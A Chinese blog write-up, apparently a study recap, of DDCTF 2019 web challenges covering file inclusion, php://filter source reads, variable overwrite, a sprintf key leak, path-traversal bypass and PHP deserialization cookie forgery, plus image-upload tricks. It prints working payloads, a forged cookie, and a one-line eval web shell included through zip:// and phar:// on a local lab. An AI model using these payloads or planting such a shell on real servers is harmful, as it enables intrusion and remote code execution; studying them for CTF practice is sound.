滴~
先上大佬的WP(https://impakho.com/post/ddctf-2019-writeup) ~~~膜
第一题设计的是base64和文件包含,源码泄露和变量覆盖并且脑洞的一题目
引用这位大佬的WP里的图片(https://www.cnblogs.com/sijidou/p/10725355.html)
题目的url看上去就像是文件包含,确实。
先是base64第二解码,然后是16进制再转字符串,是flag.jpg,呢么可以用php://filter读取下源码
源码里有博客链接,进去后找到个.practice.txt.swp这样的文章中的实例提示。呢么就尝试这进入,然后绕过正则对!的限制
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
因为他把config替换成了!,呢么就直接利用文件包含读呗
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
简单的变量覆盖,$k可以用php://input为空,$uid=为空就完事了
WEB 签到题
emmmmm,这题看了WP挺久,因为我想把源码都看懂,最后看懂了,发现。。emmm,简单,代码审计还是要多看理解下,多长点知识,补充自己不知道的点.
一开始的需要凭自己敏锐的嗅觉去发现,或者burp抓包可以看到,header头中,ddctf_username为空,试着admin,然后就给了两个文件路径
先直接上源码,因为没做,所以直接看的大佬WP,学习的
/app/Application.php
:
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
/app/Session.php
:
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
这其实也是PHP序列化的题目,但是设计到了MD5的加盐和PHP代码审计
我的PHP代码审计之路:先是获得cookie,cookie是先把
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
这一串序列化,然后md5加盐(即把'slat+序列化后的cookie'md5加密)然后加到序列化后的值后面,像这样的一串
a:4:{s:10:"session_id";s:32:"3853b51fc9cd327af530a6c09e11259d";s:10:"ip_address";s:14:"223.104.64.208";s:10:"user_agent";s:11:"curl/7.61.0";s:9:"user_data";s:0:"";}97ce8958578b78e4d91ca007527dfa53
呢么我们肯定要知道eancrykey的值,才能伪造cookie,然后反序列化,因为是18个字符,猜测flag地址为../config/flag.txt,但是会把../和..\\置空,呢么可以用....//config/flag.txt来绕过.
首先是获取eancrykey的值
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
前面的if可以不用管,第一次获得的cookie不用改就好,然后POST nickname=%s 就可以输出eancrykey 这里看一下foreach,这是个遍历数组(https://www.cnblogs.com/limeng951/p/5623607.html),并且as $k=>$v,是下标和值的对应方式,然后sprintf是格式化函数,第一次sprintf('welcome my friend %s',%s),然后$data没变,还是有%s,$data='welcome my friend %s',那么第二次遍历的就是$data=sprint('welcome my friend %s',eancrykey),然后$data=welcome my friend $eancrykey,知道了eancrykey后,就可以伪造cookie,impakho师傅直接用Application类序列化,看了另一个人的WP,是用session类来先伪造session,然后再序列化.这样就麻烦了,感觉简单的还是用Application类直接构造,
序列化的代码
<?php
Class Application {
var $path = '....//config/flag.txt';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
$a=new Application();
echo serialize($a);
?>
序列化出来的字符串:O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";},再用得到的eancrykey ,md5加盐后,加再字符串后,并且urlencode一下,存到cookie中请求
ddctf_id=O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22....%2F%2Fconfig%2Fflag.txt%22%3B%7D77cd55a8d29df4f005f85e536d876525
然后就可以得到flag
Upload-IMG
这题长见识了,我自己也搭了个上传靶场upload-labs-master,并且自己实验了一下,二次渲染后,结合php本地包含,成功执行
配置了一下php环境,然后上传到
先随便将一张jgp图片上传,然后下载服务器端上的图片,发现经过了渲染,gd库处理
然后利用大佬提到链接里的脚本(https://xz.aliyun.com/t/2657#toc-13),处理一下
然后再上传上去
经过脚本处理后的图片,用winhex打开,发现已经加入phpinfo字串
然后结合文件包含漏洞ok
具体原理可以查看文章,记得这个知识点
并且我自己玩了下包含的zip://和phar://伪协议
<?php
@eval($_POST[sky]);
然后命名为sky.php,再压缩重命名为sky.jpg,上传后,利用http://127.0.0.1/upload-labs-master/include.php?file=zip://upload/sky.jpg#sky.php
菜刀链接发现连接不上
然后改用http://127.0.0.1/upload-labs-master/include.php?file=phar://upload/sky.jpg/sky.php,就能菜刀链接了
zip:// 格式是 zip://xxx.png%23shell.php
phar://格式是phar://xxx.png/shell.php
写了半天,发现题目还是能进?我要去玩玩.前面的题目都复现成功。
来源:oschina
链接:https://my.oschina.net/u/4302647/blog/3400385